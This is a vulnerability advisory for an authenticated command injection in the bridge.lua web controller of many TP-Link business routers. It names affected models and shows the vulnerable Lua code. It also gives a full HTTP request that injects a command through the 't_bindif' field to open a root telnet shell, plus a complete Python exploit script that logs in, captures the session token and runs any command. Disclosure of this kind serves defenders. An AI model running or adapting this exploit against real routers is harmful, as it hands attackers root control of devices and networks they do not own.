## [Vulnerability]: ##Command Injection in bridge.lua ——————————————## [Exploitation]: ##Can remote command execution on the root shell.——————————————## [Vendor of Product]: ##Tp-Link router——————————————## [Affected Products and firmware version]: ## Tp-Link TL-WVR300 (Only hardware version v4) Tp-Link TL-WVR302 (only hardware version v2) Tp-Link TL-WVR450 (ALL the hardware version and firmware version) Tp-Link TL-WVR450L (ALL the hardware version and firmware version) Tp-Link TL-WVR450G (Only hardware version v5) Tp-Link TL-WVR458 (ALL the hardware version and firmware version) Tp-Link TL-WVR458L (ALL the hardware version and firmware version) Tp-Link TL-WVR458P (ALL the hardware version and firmware version) Tp-Link TL-WVR900G (Only hardware version v3) Tp-Link TL-WVR900L (ALL the hardware version and firmware version) Tp-Link TL-WVR1200L (ALL the hardware version and firmware version) Tp-Link TL-WVR1300L (ALL the hardware version and firmware version) Tp-Link TL-WVR1300G (ALL the hardware version and firmware version) Tp-Link TL-WVR1750L (ALL the hardware version and firmware version) Tp-Link TL-WVR2600L (ALL the hardware version and firmware version) Tp-Link TL-WVR4300L (ALL the hardware version and firmware version) Tp-Link TL-WAR302 (ALL the hardware version and firmware version) Tp-Link TL-WAR450 (ALL the hardware version and firmware version) Tp-Link TL-WAR450L (ALL the hardware version and firmware version) Tp-Link TL-WAR458 (ALL the hardware version and firmware version) Tp-Link TL-WAR458L (ALL the hardware version and firmware version) Tp-Link TL-WAR900L (ALL the hardware version and firmware version) Tp-Link TL-WAR1200L (ALL the hardware version and firmware version) Tp-Link TL-WAR1300L (ALL the hardware version and firmware version) Tp-Link TL-WAR1750L (ALL the hardware version and firmware version) Tp-Link TL-WAR2600L (ALL the hardware version and firmware version) Tp-Link TL-ER3210G (ALL the hardware version and firmware version) Tp-Link TL-ER3220G (ALL the hardware version and firmware version) Tp-Link TL-ER5110G (ALL the hardware version and firmware version) Tp-Link TL-ER5120G (ALL the hardware version and firmware version) Tp-Link TL-ER5510G (Only hardware version v2,v3) Tp-Link TL-ER5520G (Only hardware version v2,v3) Tp-Link TL-ER6110G (ALL the hardware version and firmware version) Tp-Link TL-ER6120G (Only hardware version v2) Tp-Link TL-ER6220G (ALL the hardware version and firmware version) Tp-Link TL-ER6510G (ALL the hardware version and firmware version) Tp-Link TL-ER6520G (Only hardware version v2,v3) Tp-Link TL-ER7520G (ALL the hardware version and firmware version) Tp-Link TL-R473 (only hardware version v5) Tp-Link TL-R473G (ALL the hardware version and firmware version) Tp-Link TL-R473P-AC (ALL the hardware version and firmware version) Tp-Link TL-R473GP-AC (ALL the hardware version and firmware version) Tp-Link TL-R478 (only hardware version v6) Tp-Link TL-R478+ (only hardware version v7) Tp-Link TL-R478G (ALL the hardware version and firmware version) Tp-Link TL-R478G+ (only hardware version v3) Tp-Link TL-R479P-AC (ALL the hardware version and firmware version) Tp-Link TL-R479GP-AC (ALL the hardware version and firmware version) Tp-Link TL-R479GPE-AC (ALL the hardware version and firmware version) Tp-Link TL-R483 (only hardware version v5) Tp-Link TL-R483G (only hardware version v2) Tp-Link TL-R488 (Only hardware version v5) Tp-Link TL-R4149G (ALL the hardware version and firmware version) Tp-Link TL-R4239G (Only hardware version v2) Tp-Link TL-R4299G (Only hardware version v2)——————————————## [Attack Type]: ##Remote——————————————## [Reference]: ##http://service.tp-link.com.cn/download/201612/TL-WVR450L%20V1.0%E5%8D%87%E7%BA%A7%E8%BD%AF%E4%BB%B620161125.zip (Official firmware for TL-WVR450L)http://www.tp-link.com.cn/product_listsmb_2008_26_00_01_02_03_04.htmlhttp://www.tp-link.com.cn/product_listsmb_2022_9_00_01_02_03.htmlhttp://www.tp-link.com.cn/product_listsmb_2023_7_00_01_02.html——————————————## [Discoverer]: ##Tianfeng Guan, Sichuan Silent Information Technology Co.,Ltd ,http://www.silence.com.cn/——————————————## [Affected components]: ##Affected executable application: uhttpdAffected source code file: /usr/lib/lua/luci/controller/admin/bridge.luaAffected function: get_device_byif(iface)——————————————## [Vulnerability details]: ##After the web login Authentication, When accessing the bridge.lua through the web manager(uhttpd), we can add a bridge interface by the controller function add_br(http_form).During this operation, it doesn't limit and check the value of the parameter "t_bindif" in http post data.And in the bridge.lua, it defines the local function get_device_byif(iface) to handle input http post data "t_bindif".- step1. http post to bridge.lua and make method=add- step2. –> function add_br(http_form) – step3. –> local function check_section_available(data, op) – step4. –> local function tophy(ifname) – step5. –> local function get_device_byif(iface) local function get_device_byif(iface) local mycmd = ". /lib/zone/zone_api.sh; zone_get_device_byif " .. iface ff = io.popen(mycmd, "r") if not ff then return false end local ll = ff:read("*l") if not ll then return false end local ret = string.gsub(tostring(ll), "%s.*", "") return ret end So, we can see the local function get_device_byif doesn't have any check and limit to the input parameter,and it will use the io.popen to execute the shell command which include the value of the parameter "t_bindif" in http post data.——————————————## [Exploitation details]: ##Because access to the bridge.lua requires web authentication,so it needs the web login credentials, or a session hijack vulnerability,or a weak credentials brute force attack to get access permissions for the bridge.lua at first. And then, we can use this Authenticated Remote Command Execution vulnerability to execute any command on the root shell.For example, we can send a http post request like: POST /cgi-bin/luci/;stok=5e2bd3d2d19d61207bcdfc7e85f6010c/admin/bridge?form=bridge_setting HTTP/1.1 Host: 192.168.3.1 Content-Length: 217 Accept: application/json, text/javascript, */*; q=0.01 Origin: http://192.168.3.1 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://192.168.3.1/webpages/index.html Accept-Encoding: gzip, deflate Cookie: sysauth=b1f57e85f01660b0fafbf9f057af23df Connection: close data=%7B%22method%22%3A%22add%22%2C%22params%22%3A%7B%22new%22%3A%7B%22t_name%22%3A%22exploit%22%2C%22t_useconfig%22%3A%220%22%2C%22t_configif%22%3A%221%22%2C%22t_bindif%22%3A%22%3Btelnetd+-p+25+-l+/bin/sh%22%7D%7D%7DFinally, this http post request packet will make the router execute the command "telnetd -p 25 -l /bin/sh".——————————————## [exp.py]: ## # Tested product: TL-WVR450L # Hardware version：V1.0 # Firmware version: 20161125 # The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager. # You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.js import execjs import requests import json import urllib def read_js(): file = open("./RSA_Encryption_For_Tplink.js", 'r') line = file.readline() js = '' while line: js = js + line line = file.readline() file.close() return js def execute(ip, port, username, passwd, cmd): try: s = requests.session() uri = "http://{}:{}".format(ip,port) headers = { 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Referer': 'http://{}/webpages/login.html'.format(ip) } payload = { "method":"get" } ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5) rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8") rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8") js = read_js() js_handle = execjs.compile(js) password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd) payload = { "method":"login", "params":{ "username":"{}".format(username), "password":"{}".format(password) } } ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5) stok = json.loads(ret.text)['result']['stok'].encode('utf-8') cookie = ret.headers['Set-Cookie'] print '[+] Login success' print '[+] Get The Token: ' + stok print '[+] Get The Cookie: ' + cookie headers = { 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Referer':'http://{}/webpages/login.html'.format(ip), 'Cookie':'{}'.format(cookie) } payload = { "method":"add", "params":{ "new":{ "t_name":"exploit", "t_useconfig":"0", "t_configif":"1", "t_bindif":";{}".format(cmd) } } } ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/bridge?form=bridge_setting'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5) #print ret.text print '[+] Finish RCE' print '————————————————————–' return True except: return False if __name__=='__main__': print '———–Tplink LUCI Bridge Authenticated RCE———–' print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 25 -l /bin/sh')
